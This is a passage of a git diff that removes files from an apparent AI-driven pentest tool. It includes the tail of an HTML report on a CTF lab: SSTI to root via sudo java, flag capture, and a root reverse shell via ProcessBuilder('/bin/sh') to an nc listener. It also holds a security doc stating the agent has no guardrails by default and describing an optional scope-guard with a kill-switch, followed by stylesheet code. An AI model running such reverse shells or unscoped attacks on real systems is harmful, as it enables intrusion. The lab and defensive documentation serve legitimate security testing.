class="fv">SSTI → write /tmp/T.java → sudo java /tmp/T.java</span>- <span class="fk">Confirmation</span><span class="fv">System.getProperty("user.name") == "root"</span>- </div>- <div class="evidence-label">Evidence</div>- <div class="terminal">- <div class="terminal-bar">T.java execution as root</div>- <div class="terminal-body">---RUN-AS-ROOT----java-ran-as: <span style="color:var(--green)">root</span></div>- </div>- </div>- </div>-- <div class="finding" style="border-left-color:var(--green)">- <div class="finding-header" style="border-left:none">- <span class="finding-num">F5</span>- <span class="finding-title">FLAG captured as root — /root/flag.txt read via Pwn.java</span>- <span class="badge badge-confirmed">Confirmed</span>- <span class="badge badge-technique">T1003.008</span>- </div>- <div class="finding-body">- <div class="evidence-label">Evidence — full root output</div>- <div class="terminal">- <div class="terminal-bar">Pwn.java — sudo java execution</div>- <div class="terminal-body">uid=0(root) gid=0(root) groups=0(root)-pinguinazo-ssti-<span style="color:var(--green);font-weight:bold">CTF{pinguinazo_ssti_rce_sudo_java}</span>--r-------- 1 root root 35 Oct 18 18:03 flag.txt</div>- </div>- </div>- </div>-- <div class="finding" style="border-left-color:var(--green)">- <div class="finding-header">- <span class="finding-num">F6</span>- <span class="finding-title">Interactive root reverse shell confirmed — TCP 172.21.0.6 → 172.21.0.2:4444</span>- <span class="badge badge-confirmed">Confirmed</span>- <span class="badge badge-technique">T1059.004</span>- </div>- <div class="finding-body">- <div class="finding-meta">- <span class="fk">Method</span><span class="fv">Rev.java → ProcessBuilder("/bin/sh") → TCP to kali:4444</span>- <span class="fk">Listener</span><span class="fv">kali nc -nlvp 4444 (kali_exec background)</span>- </div>- <div class="evidence-label">Evidence — reverse shell session</div>- <div class="terminal">- <div class="terminal-bar">nc listener · kali:4444</div>- <div class="terminal-body">listening on 4444-CONNECTION from ('172.21.0.6', 43084)-uid=0(root) gid=0(root) groups=0(root)-root-pinguinazo-ssti-<span style="color:var(--green);font-weight:bold">CTF{pinguinazo_ssti_rce_sudo_java}</span></div>- </div>- </div>- </div>- </div>-- <!-- Remediation -->- <div class="section">- <div class="section-title">Remediation</div>- <ul class="rem-list">- <li><strong>Fix SSTI (critical):</strong> never pass user input to <code>render_template_string()</code>. Use <code>render_template()</code> with static template files and <code>{{ name }}</code> — Jinja2 autoescape handles the rest.</li>- <li><strong>Remove sudo NOPASSWD java:</strong> delete the rule from <code>/etc/sudoers</code>. If Java must run with privileges, wrap it in a script with fixed arguments, or use a systemd unit with minimal capabilities.</li>- <li><strong>Rotate credentials and audit logs:</strong> check <code>/var/log/auth.log</code> for sudo activity during the test window.</li>- </ul>- </div>--</div>--<footer class="site-footer">- <div class="footer-brand">VULNERATOR<span>-AI</span> · OODA Pentest Engine</div>- <div class="footer-meta">pinguinazo-ssti · 2026-10-18<br>Generated by Vulnerator-AI (Mistral Large 4.0 · 12 OODA steps)<br>Inspired by dockerlabs.es "Pinguinazo" © El Pingüino de Mario</div>-</footer>-</body>-</html>diff --git a/docs/security.md b/docs/security.mddeleted file mode 100644index 0e2be6f..0000000--- a/docs/security.md+++ /dev/null@@ -1,73 +0,0 @@-# Security & scope--> ⚠️ **By default this product has no guardrails: no scope-guard, no consent, no audit, no-> authorization gate.** Hermes runs directly whatever it decides against the target. This is-> **intentional.** Use it **only against explicitly authorized targets** and in a **controlled-> environment**. All responsibility for the scope and for lawful use rests with the operator.--There are two things you *can* turn on, and it helps to know what each does and does **not** cover.--## The opt-in scope-guard (`kali_run` / `kali_exec`)--A deterministic (code, not prompt) gate that validates the destination of every raw-shell action-**before** executing it. It lives inside the Kali MCP, in front of the two raw-shell runners. It-does **not** touch the cloud tools (Prowler/Pacu/IAM) or the browser MCP.--It activates **only** if a scope file exists and contains `enabled: true`; with no file, behavior is-identical to the default (no gate). When active it is **fail-closed**: a destination that is not-allowed — or a call where Hermes did not declare its `targets` — fails with a structured-`SCOPE_VIOLATION` and does not execute. Every violation is logged into the findings store as a-`discarded` record, so an attempt to leave scope is auditable in the report.--Turn it on:--1. Copy the template and edit it with your lab's allowed destinations (`scope.json` is git-ignored):-- ```sh- cp scope.example.json scope.json- ```-- ```json- {- "enabled": true,- "allow": [{ "cidr": "10.0.0.0/24" }, { "host": "juice-shop" }],- "deny": [{ "cidr": "10.0.0.1/32" }],- "ports": [80, 443, 3000]- }- ```-- - `allow`: `{cidr}` matches an IP against a CIDR; `{host}` is a **literal** hostname match (no- DNS, a suffix does not match). `deny` takes **priority** over `allow`. `ports` is optional:- when set, only those ports are allowed when the target carries one.--2. Uncomment the bind-mount in `docker-compose.yml` (kali service) so the file lands at- `/scope/scope.json`, then recreate the service. Create `scope.json` **before** `docker compose- up` so Docker mounts a file, not a directory.-- ```yaml- # volumes:- # - ./scope.json:/scope/scope.json:ro- ```-- **Strict `targets`:** with the scope active, Hermes **must** declare the `targets` argument (the- IP/host/URL the command touches) on `kali_run`/`kali_exec`, or the call is blocked. A best-effort- parse of the command is an extra belt that can only **block**, never approve — the declared- `targets` are the source of truth.-- **Kill-switch:** `SCOPE_ENFORCE=0` force-disables the guard even if the file says `enabled: true`.--## The MCP inbound token (`vulnerator-mcp` over HTTP)--When the `vulnerator-mcp` streamable-HTTP service is reachable, it is **fail-closed** on-`VULNERATOR_MCP_INBOUND_TOKEN` and every request must carry it as a Bearer. This gates **only** the-*client → vulnerator-mcp* edge. It does **not** re-protect the pre-existing `:8642` exposure (that-stays under its own `HERMES_API_SERVER_KEY` Bearer), and it is **not** a scope-guard — it controls-*who can reach the trigger*, not *what the engine is allowed to touch*. The local **stdio** mode has-no listener and needs no token.--## What none of this is--The scope-guard gates `kali_run`/`kali_exec` by destination; the inbound token gates reachability.-Neither is consent, a human-approval workflow, or a network firewall. The `scope` argument on the-MCP `start_pentest` tool is **advisory** (folded into the prompt for operator clarity), not an-enforced constraint. The hard brake is the opt-in scope-guard above.diff --git a/docs/styles.css b/docs/styles.cssdeleted file mode 100644index 062779f..0000000--- a/docs/styles.css+++ /dev/null@@ -1,1759 +0,0 @@-/* Vulnerator AI — landing page. Death-metal / cyberpunk, dark minimalist. */--:root {- --bg: #0a0a0a;- --bg-deep: #080b14; /* deep space blue-black */- --panel: #10131c; /* metallic grey-blue panel */- --panel-edge: #1c2130;- --text: #e6e8ec;- --muted: #9aa0ac; /* metallic grey */- --accent: #b03a3a; /* brand dark red (README badge) */- --accent-soft: #c75a5a;- --magenta: #c25b9a; /* cold pink/magenta, used sparingly */- --mono: ui-monospace, "JetBrains Mono", "SFMono-Regular", Menlo, Consolas, monospace;- --maxw: 920px;-}--* { box-sizing: border-box; }--html { scroll-behavior: smooth; }--body {- margin: 0;- background: var(--bg);- color: var(--text);- font-family: var(--mono);- font-size: 16px;- line-height: 1.6;- -webkit-font-smoothing: antialiased;-}--.wrap {- width: 100%;- max-width: var(--maxw);- margin: 0 auto;- padding: 0 1.5rem;-}--a { color: var(--accent-soft); }-a:hover { color: var(--magenta); }--code {- font-family: var(--mono);- color: var(--accent-soft);- background: rgba(176, 58, 58, 0.1);- padding: 0.05em 0.35em;- border-radius: 3px;-}--/* ---------- Hero ---------- */-.hero {- position: relative;- min-height: 100vh;- display: flex;- align-items: center;- justify-content: center;- text-align: center;- overflow: hidden;- padding: 4rem 1.5rem;-}--.hero__bg {- position: absolute;- inset: 0;- z-index: 0;-}--.hero__bg img {- width: 100%;- height: 100%;- object-fit: cover;- object-position: center;-}--.hero__overlay {- position: absolute;- inset: 0;- z-index: 1;- background:- radial-gradient(ellipse at center, rgba(10, 10, 10, 0.45) 0%, rgba(8, 11, 20, 0.82) 70%, rgba(10, 10, 10, 0.96) 100%),- linear-gradient(to bottom, rgba(10, 10, 10, 0.55), rgba(10, 10, 10, 0.75));-}--.hero__content {- position: relative;- z-index: 2;- max-width: 760px;-}--.hero__eyebrow {- margin: 0 0 1.5rem;- text-transform: uppercase;- letter-spacing: 0.5em;- font-size: 0.8rem;- color: var(--accent-soft);- text-shadow: 0 0 12px rgba(176, 58, 58, 0.5);-}--.hero__logo {- width: 100%;- max-width: 520px;- height: auto;- margin: 0 auto 1.5rem;- display: block;- filter: drop-shadow(0 4px 24px rgba(0, 0, 0, 0.8));-}--.hero__tagline {- margin: 0 0 0.4rem;- font-size: 1.3rem;- color: var(--text);- letter-spacing: 0.08em;-}--.hero__sub {- margin: 0 0 2rem;- font-size: 0.9rem;- color: var(--muted);- letter-spacing: 0.1em;-}--.hero__pitch {- margin: 0 auto;- max-width: 560px;- color: var(--muted);- font-size: 1rem;-}--.hero__pitch strong { color: var(--text); }--/* ---------- Sections ---------- */-.section {- padding: 5.5rem 0;- border-top: 1px solid var(--panel-edge);-}--.section--warn { padding: 4rem 0; }--.section__title {- margin: 0 0 1.5rem;- font-size: 1.1rem;- text-transform: uppercase;- letter-spacing: 0.3em;- color: var(--accent-soft);- font-weight: 600;-}--.section__lead {- margin: -0.75rem 0 2rem;- color: var(--muted);- letter-spacing: 0.08em;-}--.prose {- max-width: 680px;- margin: 0 0 1.25rem;- color: var(--muted);- font-size: 1.05rem;-}--.prose strong { color: var(--text); }--/* ---------- Architecture cards ---------- */-.cards {- list-style: none;- margin: 0;- padding: 0;- display: grid;- grid-template-columns: repeat(auto-fit, minmax(230px, 1fr));- gap: 1.25rem;-}--.card {- background: var(--panel);- border: 1px solid var(--panel-edge);- border-top: 2px solid var(--accent);- border-radius: 6px;- padding: 1.5rem;-}--.card__name {- margin: 0 0 0.75rem;- font-size: 1.05rem;- color: var(--text);- letter-spacing: 0.05em;-}--.card__name::before {- content: "> ";- color: var(--accent);-}--.card__body {- margin: 0;- font-size: 0.92rem;- color: var(--muted);-}--.card__body code {- font-size: 0.85em;-}--/* ---------- Chips ---------- */-.chips {- list-style: none;- margin: 0;- padding: 0;- display: flex;- flex-wrap: wrap;- gap: 0.75rem;-}--.chip {- border: 1px solid var(--panel-edge);- background: var(--panel);- border-radius: 999px;- padding: 0.5rem 1.1rem;- font-size: 0.85rem;- letter-spacing: 0.05em;- color: var(--text);-}--/* ---------- Warning ---------- */-.warning {- border: 1px solid var(--accent);- background: rgba(176, 58, 58, 0.08);- border-left: 4px solid var(--accent);- border-radius: 6px;- padding: 1.75rem 2rem;-}--.warning__title {- margin: 0 0 0.75rem;- font-size: 1rem;- text-transform: uppercase;- letter-spacing: 0.2em;- color: var(--accent-soft);-}--.warning__body {- margin: 0;- color: var(--text);- font-size: 0.98rem;-}--.warning__body strong { color: var(--accent-soft); }--/* ---------- Footer ---------- */-.footer {- padding: 3rem 0 4rem;- border-top: 1px solid var(--panel-edge);- background: var(--bg-deep);-}--.footer__wrap {- display: flex;- flex-direction: column;- gap: 0.75rem;- align-items: center;- text-align: center;-}--.footer__link {- font-size: 0.95rem;- letter-spacing: 0.05em;- text-decoration: none;-}--.footer__tagline {- margin: 0;- font-size: 0.82rem;- color: var(--muted);- letter-spacing: 0.1em;-}--/* ---------- Responsive ---------- */-@media (max-width: 640px) {- .hero__eyebrow { letter-spacing: 0.35em; font-size: 0.72rem; }- .hero__tagline { font-size: 1.1rem; }- .section { padding: 4rem 0; }- .section__title { font-size: 1rem; }- .prose { font-size: 1rem; }-}--/* ---------- Motion ---------- */-@media (prefers-reduced-motion: reduce) {- html { scroll-behavior: auto; }- * { transition: none !important; animation: none !important; }-}--/* ── Boot screen ──────────────────────────────────────────────── */--/* Full-screen dark bezel — the "monitor casing" */-#boot {- position: fixed;- inset: 0;- z-index: 9999;- background: radial-gradient(ellipse at center,- #0d0000 0%, #050000 60%, #000 100%);- display: flex;- align-items: center;- justify-content: center;- cursor: pointer;- user-select: none;-}--/* CRT screen — fixed size, lens/egg shape */-.boot__inner {- position: relative;- z-index: 4;- /* 4:3 screen size */- width: min(860px, 88vw);- height: min(640px, 82vh);- padding: 2.5rem 2.8rem 2.5rem;- overflow-y: auto;- scrollbar-width: none;- -ms-overflow-style: none;- /* Egg / lens shape */- border-radius: 7% / 5%;- overflow: hidden;- background: #000;- /* Subtle 3D perspective tilt */- transform: perspective(900px) rotateX(1.5deg);- /* Glitch filter */- filter: url(#boot-glitch-filter);- /* Bezel glow */- box-shadow:- inset 0 0 120px rgba(0,0,0,0.97),- inset 0 0 50px rgba(0,0,0,0.85),- 0 0 80px rgba(100,15,15,0.45),- 0 0 6px rgba(140,30,30,0.6);-}--.boot__inner::-webkit-scrollbar { display: none; }--/* Scanlines — on the screen surface */-#boot::before {- content: '';- position: absolute;- z-index: 10000;- width: min(860px, 88vw);- height: min(640px, 82vh);- border-radius: 7% / 5%;- background: repeating-linear-gradient(- 0deg,- transparent 0,- transparent 1px,- rgba(0,0,0,0.42) 1px,- rgba(0,0,0,0.42) 3px- );- pointer-events: none;- transform: perspective(900px) rotateX(1.5deg);-}--/* Phosphor flicker */-@keyframes phosphor-flicker {- 0%, 100% { opacity: 1; }- 82% { opacity: 0.98; }- 84% { opacity: 0.72; }- 86% { opacity: 0.95; }- 88% { opacity: 0.65; }- 90% { opacity: 0.92; }- 92% { opacity: 0.55; }- 93% { opacity: 0.90; }-}--/* CRT vignette — curved lens illusion */-#boot::after {- content: '';- position: absolute;- z-index: 9999;- width: min(860px, 88vw);- height: min(640px, 82vh);- border-radius: 7% / 5%;- background: radial-gradient(ellipse 80% 75% at 50% 50%,- transparent 30%,- rgba(0,0,0,0.4) 60%,- rgba(0,0,0,0.85) 85%,- rgba(0,0,0,0.98) 100%- );- pointer-events: none;- animation: phosphor-flicker 5s ease-in-out infinite;- transform: perspective(900px) rotateX(1.5deg);-}--/* Sweep line */-@keyframes crt-sweep {- 0% { top: 0%; opacity: 0; }- 4% { opacity: 0.5; }- 96% { opacity: 0.5; }- 100% { top: 100%; opacity: 0; }-}--.crt-sweep {- position: absolute;- left: 0; right: 0;- height: 4px;- background: linear-gradient(90deg,- transparent 0%,- rgba(199,90,90,0.5) 15%,- rgba(255,160,160,0.85) 50%,- rgba(199,90,90,0.5) 85%,- transparent 100%);- box-shadow: 0 0 12px rgba(255,100,100,0.6);- z-index: 5;- pointer-events: none;- animation: crt-sweep 3s linear infinite;-}--.boot__inner::-webkit-scrollbar { display: none; }--/* SVG displacement filter — scale=0 at rest, boot.js drives it during glitches */-.boot__inner { filter: url(#boot-glitch-filter); }--/* TV static noise canvas (low-res, scaled up = pixelated static) */-.boot__noise {- position: absolute;- inset: 0;- width: 100%;- height: 100%;- z-index: 6;- pointer-events: none;- mix-blend-mode: screen;- opacity: 0;- image-rendering: pixelated;- image-rendering: crisp-edges; /* Safari */-}--/* Boot line base — baseline chromatic aberration always visible */-.bl {- font-family: var(--mono);- font-size: 0.83rem;- line-height: 1.9;- color: #b03a3a;- text-shadow:- -1px 0 rgba(255, 20, 20, 0.55),- 1px 0 rgba(20, 60, 255, 0.35),- 0 0 8px rgba(176, 58, 58, 0.55);- white-space: pre;-}--/* Blinking block cursor — active while typing */-@keyframes bl-cursor {- 0%, 100% { opacity: 1; }- 50% { opacity: 0; }-}--.bl--typing::after,-.bl--cursor::after {- content: '█';- color: #c75a5a;- animation: bl-cursor 0.65s step-end infinite;- margin-left: 1px;-}--/* Flash on line appear */-.bl--new {- animation: bl-appear 0.12s ease forwards;-}--@keyframes bl-appear {- 0% { filter: brightness(6); opacity: 0.4; }- 40% { filter: brightness(2.5); opacity: 0.85; }- 100% { filter: brightness(1); opacity: 1; }-}--.bl--sp { line-height: 0.7; } /* empty spacer */-.bl--d { color: #3a3a3a; text-shadow: none; } /* dim — BIOS header */-.bl--h { /* hi — system armed */- color: #c75a5a;- font-weight: 700;- letter-spacing: 0.04em;- text-shadow: 0 0 18px rgba(199, 90, 90, 0.85);-}--.bl__ok {- color: #5ab870;- text-shadow: 0 0 8px rgba(90, 184, 112, 0.5);-}--/* Standby "PRESS ANY KEY" prompt */-.standby__prompt {- display: block;- margin-top: 2.2rem;- color: #c75a5a;- letter-spacing: 0.24em;- animation: bpulse 1.3s ease-in-out infinite;- text-shadow: 0 0 14px rgba(199, 90, 90, 0.65);-}--/* Enter prompt */-#boot-prompt {- display: none;- margin: 2.5rem 0 0;- font-family: var(--mono);- font-size: 0.82rem;- letter-spacing: 0.28em;- color: #c75a5a;- text-transform: uppercase;- animation: bpulse 1.8s ease-in-out infinite;- text-shadow: 0 0 14px rgba(199, 90, 90, 0.65);-}--@keyframes bpulse {- 0%, 100% { opacity: 0.4; }- 50% { opacity: 1; }-}--/* ── Exit: TV-off effect ─────────────────────────────────────── */-.boot--exit {- animation: tvoff 0.9s cubic-bezier(0.4, 0, 0.6, 1) forwards;-}--@keyframes tvoff {- 0% { clip-path: inset(0 0 0 0); filter: brightness(1); }- 18% { clip-path: inset(0 0 0 0); filter: brightness(4); }- 42% { clip-path: inset(44% 0 44% 0); filter: brightness(2.5); }- 62% { clip-path: inset(49% 0 49% 0); filter: brightness(6); }- 78% { clip-path: inset(49.7% 0 49.7% 0); filter: brightness(10); }- 100% { clip-path: inset(50% 0 50% 0); filter: brightness(0); opacity: 0; }-}--/* ── Glitch tiers ────────────────────────────────────────────── */--/* MINOR: amplified chromatic aberration on all text */-#boot.boot--chroma .bl {- text-shadow:- -9px 0 rgba(255, 0, 80, 0.98),- 9px 0 rgba(0, 80, 255, 0.92),- 0 0 30px rgba(220, 0, 100, 0.94),- 0 0 4px rgba(255, 255, 255, 0.5);-}--#boot.boot--chroma .bl__ok {- text-shadow:- -7px 0 rgba(255, 80, 0, 0.85),- 7px 0 rgba(0, 220, 90, 0.75);-}--/* MAJOR: screen flicker — pure opacity, doesn't conflict with SVG filter */-#boot.boot--flicker {- animation: sflicker 0.24s steps(4) forwards;-}--@keyframes sflicker {- 0% { opacity: 1; }- 25% { opacity: 0.12; }- 50% { opacity: 0.80; }- 75% { opacity: 0.02; }- 100% { opacity: 1; }-}--/* MAJOR: horizontal jitter — whole terminal layer jolts sideways */-#boot.boot--jitter .boot__inner {- animation: jitter 0.20s steps(5) forwards;-}--@keyframes jitter {- 0% { transform: translateX(0); }- 20% { transform: translateX(-11px);}- 40% { transform: translateX(15px); }- 60% { transform: translateX(-8px); }- 80% { transform: translateX(10px); }- 100% { transform: translateX(0); }-}--/* ── Audio control (bottom-right, revealed after boot) ───────── */-#audio-ctrl {- position: fixed;- bottom: 1.25rem;- right: 1.25rem;- z-index: 1000;- display: none; /* shown by boot.js after dismissal */-}--#audio-mute {- display: flex;- align-items: center;- justify-content: center;- width: 2.2rem;- height: 2.2rem;- padding: 0;- appearance: none;- background: var(--panel);- border: 1px solid var(--panel-edge);- border-radius: 50%;- color: var(--muted);- cursor: pointer;- transition: border-color 0.2s, color 0.2s, box-shadow 0.2s;-}--#audio-mute:hover {- border-color: var(--accent);- color: var(--accent-soft);- box-shadow: 0 0 12px rgba(176, 58, 58, 0.35);-}--#audio-mute:focus-visible {- outline: 2px solid var(--accent-soft);- outline-offset: 3px;-}--#audio-mute.muted { color: #333; border-color: #1e1e1e; }--/* Respect prefers-reduced-motion for boot animations too */-@media (prefers-reduced-motion: reduce) {- .boot--exit,- .boot--flicker,- #boot.boot--jitter .boot__inner { animation: none !important; opacity: 1; }- #boot.boot--chroma .bl { text-shadow: 0 0 8px rgba(176, 58, 58, 0.55); }- .boot__noise { display: none !important; }- .boot__inner { filter: none !important; }- #boot-prompt { animation: none !important; opacity: 1; }-}--/* ── System status bar (created by boot.js after dismissal) ──────── */-#sys-bar {- position: fixed;- top: 0; left: 0; right: 0;- z-index: 800;- height: 1.6rem;- background: rgba(8, 11, 20, 0.93);- border-bottom: 1px solid #1c2130;- overflow: hidden;- backdrop-filter: blur(2px);- display: none;- transform: translateY(-100%);-}--#sys-bar.sys-bar--on {- display: block;- animation: sysbar-in 0.7s cubic-bezier(0.2, 0, 0.4, 1) forwards;-}--@keyframes sysbar-in {- from { transform: translateY(-100%); opacity: 0; }- to { transform: translateY(0); opacity: 1; }-}--#sys-bar-track {- display: inline-flex;- align-items: center;- height: 100%;- white-space: nowrap;- animation: sys-scroll 55s linear infinite;-}--@keyframes sys-scroll {- from { transform: translateX(0); }- to { transform: translateX(-50%); } /* -50% = one copy (content duplicated) */-}--/* Individual sys-bar items */-.si {- font-family: var(--mono);- font-size: 0.66rem;- color: #6b2020;- letter-spacing: 0.09em;- text-transform: uppercase;- padding: 0 1.1rem;-}--.si__sep {- font-size: 0.45rem;- color: #2a1515;-}--/* Glitch state for random items */-.si--g {- color: #c75a5a;- text-shadow: -2px 0 rgba(255, 0, 80, 0.8), 2px 0 rgba(0, 80, 255, 0.6);- animation: sbar-g 0.22s steps(3) forwards;-}--@keyframes sbar-g {- 0% { transform: translateX(0); letter-spacing: 0.09em; }- 33% { transform: translateX(-4px); letter-spacing: 0.30em; }- 66% { transform: translateX(3px); letter-spacing: 0em; }- 100% { transform: translateX(0); letter-spacing: 0.09em; }-}--/* Push page content below the sys-bar */-body.has-sysbar { padding-top: 1.6rem; }--/* Shrink hero so the waveform visualiser is visible at the fold */-body.has-sysbar .hero { min-height: calc(100vh - 1.6rem - 80px); }--/* ── Hero scan line (appears after boot, sweeps top→bottom) ──────── */-body.has-sysbar .hero::before {- content: '';- position: absolute;- left: 0; right: 0;- top: 0;- height: 7px;- background: linear-gradient(90deg,- transparent 0%,- rgba(176, 58, 58, 0.5) 8%,- rgba(220, 90, 90, 0.95) 35%,- rgba(255, 140, 140, 1) 50%,- rgba(220, 90, 90, 0.95) 65%,- rgba(176, 58, 58, 0.5) 92%,- transparent 100%- );- box-shadow:- 0 0 22px rgba(199, 90, 90, 0.90),- 0 0 44px rgba(176, 58, 58, 0.55),- 0 0 70px rgba(176, 58, 58, 0.28);- z-index: 1;- pointer-events: none;- opacity: 0;- animation: hero-scan 10s ease-in-out infinite 2s;-}--@keyframes hero-scan {- 0% { top: 0%; opacity: 0; }- 2% { opacity: 1; }- 98% { opacity: 0.55; }- 100% { top: 100%; opacity: 0; }-}--/* ── Hero background distortion (same glitch family as boot screen) ─ */--/* Noise canvas — sits between overlay and content, screen blend mode */-.hero__noise {- position: absolute;- inset: 0;- width: 100%;- height: 100%;- z-index: 1;- pointer-events: none;- mix-blend-mode: screen;- opacity: 0;- image-rendering: pixelated;- image-rendering: crisp-edges;-}--/* Chromatic aberration on hero text during glitch events */-.hero.hero--chroma .hero__eyebrow {- text-shadow:- -6px 0 rgba(255, 0, 80, 0.90),- 6px 0 rgba(0, 80, 255, 0.80),- 0 0 22px rgba(199, 90, 90, 0.95);-}--.hero.hero--chroma .hero__tagline,-.hero.hero--chroma .hero__sub {- text-shadow:- -4px 0 rgba(255, 0, 60, 0.75),- 4px 0 rgba(0, 60, 255, 0.65);-}--/* Overlay flicker: briefly lifts the dark overlay, revealing the raw image */-.hero.hero--flicker .hero__overlay {- animation: hero-ov-flicker 0.24s steps(4) forwards;-}--@keyframes hero-ov-flicker {- 0% { opacity: 1; }- 25% { opacity: 0.30; }- 50% { opacity: 0.85; }- 75% { opacity: 0.06; }- 100% { opacity: 1; }-}--/* ── prefers-reduced-motion additions ─────────────────────────────── */-@media (prefers-reduced-motion: reduce) {- body.has-sysbar .hero::before { animation: none !important; opacity: 0; }- .hero.hero--flicker .hero__overlay { animation: none !important; }- .standby__prompt { animation: none !important; opacity: 1; }- #sys-bar-track { animation: none !important; }-}--/* ── Toast notifications ──────────────────────────────────────────── */-#toast-container {- position: fixed;- bottom: 1.5rem;- left: 1.5rem;- z-index: 700;- display: flex;- flex-direction: column-reverse;- gap: 0.5rem;- pointer-events: none;- max-width: 340px;-}--.toast {- font-family: var(--mono);- font-size: 0.70rem;- background: rgba(8, 11, 20, 0.93);- border: 1px solid var(--panel-edge);- border-left: 2px solid var(--accent);- padding: 0.45rem 0.8rem 0.65rem;- letter-spacing: 0.04em;- position: relative;- overflow: hidden;- animation: toast-in 0.28s ease forwards;- backdrop-filter: blur(6px);- pointer-events: auto;- cursor: pointer;-}--.toast__cat {- color: var(--accent-soft);- margin-right: 0.55rem;- font-weight: 600;- letter-spacing: 0.1em;-}--.toast__msg {- color: var(--muted);-}--/* Progress bar — shrinks over 4.2s showing remaining life */-.toast__bar {- position: absolute;- bottom: 0;- left: 0;- height: 2px;- width: 100%;- background: var(--accent);- transform-origin: left;- animation: toast-bar 4.2s linear forwards;-}--.toast--exit {- animation: toast-out 0.28s ease forwards !important;-}--@keyframes toast-in {- 0% { opacity: 0; transform: translateX(-18px); filter: brightness(5) blur(3px); }- 55% { filter: brightness(1.4) blur(0); }- 100% { opacity: 1; transform: translateX(0); filter: brightness(1); }-}--@keyframes toast-out {- from { opacity: 1; transform: translateX(0); }- to { opacity: 0; transform: translateX(-18px); }-}--@keyframes toast-bar {- from { transform: scaleX(1); }- to { transform: scaleX(0); }-}--/* ── Audio waveform visualiser (in document flow, below the hero) ── */-#visualizer {- display: block;- width: 100%;- height: 80px;- cursor: pointer;- background: rgba(8, 11, 20, 0.97);- border-top: 1px solid rgba(60, 20, 20, 0.6);- border-bottom: 1px solid var(--panel-edge);- /* Reset any canvas default inline styles */- vertical-align: top;-}--#visualizer:hover {- border-top-color: rgba(199, 90, 90, 0.65);-}--/* No longer needed — visualiser is not fixed-bottom */-/* body.has-visualizer #audio-ctrl { ... } */--/* ── Hero CTA buttons ─────────────────────────────────────────── */-.hero__cta {- display: flex;- gap: 0.75rem;- justify-content: center;- flex-wrap: wrap;- margin: 2rem 0 1.25rem;-}--.cta-btn {- display: inline-flex;- align-items: center;- gap: 0.5rem;- padding: 0.6rem 1.4rem;- border-radius: 4px;- font-family: var(--mono);- font-size: 0.88rem;- letter-spacing: 0.05em;- text-decoration: none;- transition: background 0.2s, border-color 0.2s, color 0.2s, box-shadow 0.2s;-}--.cta-btn--primary {- background: var(--accent);- color: #fff;- border: 1px solid var(--accent);-}-.cta-btn--primary:hover {- background: var(--accent-soft);- border-color: var(--accent-soft);- color: #fff;- box-shadow: 0 0 18px rgba(176, 58, 58, 0.45);-}--.cta-btn--secondary {- background: transparent;- color: var(--text);- border: 1px solid var(--panel-edge);-}-.cta-btn--secondary:hover {- border-color: var(--accent);- color: var(--accent-soft);-}--.cta-icon { flex-shrink: 0; }--/* ── Hero badges ──────────────────────────────────────────────── */-.hero__badges {- display: flex;- gap: 0.6rem;- justify-content: center;- flex-wrap: wrap;- margin-top: 0.5rem;-}--.hbadge {- display: inline-flex;- align-items: center;- gap: 0.35rem;- background: rgba(16, 19, 28, 0.75);- border: 1px solid var(--panel-edge);- border-radius: 999px;- padding: 0.25rem 0.8rem;- font-size: 0.75rem;- color: var(--muted);- letter-spacing: 0.05em;-}-.hbadge svg { color: var(--accent-soft); }-.hbadge--green { border-color: rgba(90, 184, 112, 0.35); color: #5ab870; }-.hbadge--link {- text-decoration: none;- cursor: pointer;- transition: border-color 0.15s, color 0.15s, box-shadow 0.15s;-}-.hbadge--link:hover {- border-color: var(--accent-soft);- color: var(--accent-soft);- box-shadow: 0 0 10px rgba(176, 58, 58, 0.25);-}-.hbadge--link.hbadge--green:hover {- border-color: rgba(90, 184, 112, 0.7);- color: #7de09a;- box-shadow: 0 0 10px rgba(90, 184, 112, 0.2);-}--/* ── Engagement mode cards ────────────────────────────────────── */-.card--green { border-top-color: #5ab870; }-.card__name--green { color: #5ab870; }-.card__name--green::before { color: #5ab870; }--/* ── Feature list ─────────────────────────────────────────────── */-.feature-list {- list-style: none;- margin: 0;- padding: 0;- display: grid;- grid-template-columns: repeat(auto-fit, minmax(360px, 1fr));- gap: 1rem;-}--.feature-item {- display: flex;- gap: 0.85rem;- align-items: flex-start;- background: var(--panel);- border: 1px solid var(--panel-edge);- border-radius: 6px;- padding: 1.1rem 1.25rem;- font-size: 0.92rem;- color: var(--muted);-}-.feature-item strong { color: var(--text); display: block; margin-bottom: 0.25rem; }-.feature-icon { color: var(--accent); font-size: 0.75rem; margin-top: 0.25rem; flex-shrink: 0; }--/* ── Quick start code block ───────────────────────────────────── */-.code-block {- background: #080b0b;- border: 1px solid var(--panel-edge);- border-radius: 6px;- overflow: hidden;- max-width: 620px;- margin: 1.25rem 0;-}-.code-block__bar {- background: var(--panel);- border-bottom: 1px solid var(--panel-edge);- padding: 0.4rem 1rem;- display: flex;- justify-content: space-between;- align-items: center;-}-.code-block__label { font-size: 0.72rem; color: var(--muted); letter-spacing: 0.1em; }-.code-block__copy {- font-family: var(--mono);- font-size: 0.72rem;- background: transparent;- border: 1px solid var(--panel-edge);- border-radius: 3px;- color: var(--muted);- padding: 0.15rem 0.6rem;- cursor: pointer;- transition: border-color 0.15s, color 0.15s;-}-.code-block__copy:hover { border-color: var(--accent); color: var(--accent-soft); }-.code-block__body {- padding: 1.1rem 1.25rem;- margin: 0;- font-family: var(--mono);- font-size: 0.88rem;- line-height: 1.8;- overflow-x: auto;-}-.cg { color: #5ab870; }-.ca { color: var(--accent-soft); }--.prose--sm { font-size: 0.9rem; }--/* ── Labs ─────────────────────────────────────────────────────── */-.labs-list {- list-style: none;- margin: 0;- padding: 0;- display: flex;- flex-direction: column;- gap: 1.25rem;-}--.lab-card {- background: var(--panel);- border: 1px solid var(--panel-edge);- border-left: 3px solid var(--accent);- border-radius: 0 6px 6px 0;- padding: 1.5rem 1.75rem;-}-.lab-card__header {- display: flex;- gap: 0.5rem;- margin-bottom: 0.75rem;- flex-wrap: wrap;-}-.lab-card__tag {- font-family: var(--mono);- font-size: 0.72rem;- letter-spacing: 0.08em;- padding: 0.2rem 0.65rem;- border-radius: 3px;- border: 1px solid var(--panel-edge);- color: var(--muted);- background: rgba(255,255,255,0.03);-}-.lab-card__tag--red { border-color: var(--accent); color: var(--accent-soft); }-.lab-card__tag--dim { opacity: 0.6; }-.lab-card__name {- font-size: 1.05rem;- color: var(--text);- margin: 0 0 0.75rem;- letter-spacing: 0.04em;-}-.lab-card__name::before { content: "> "; color: var(--accent); }-.lab-card__body {- font-size: 0.92rem;- color: var(--muted);- margin: 0 0 0.85rem;- 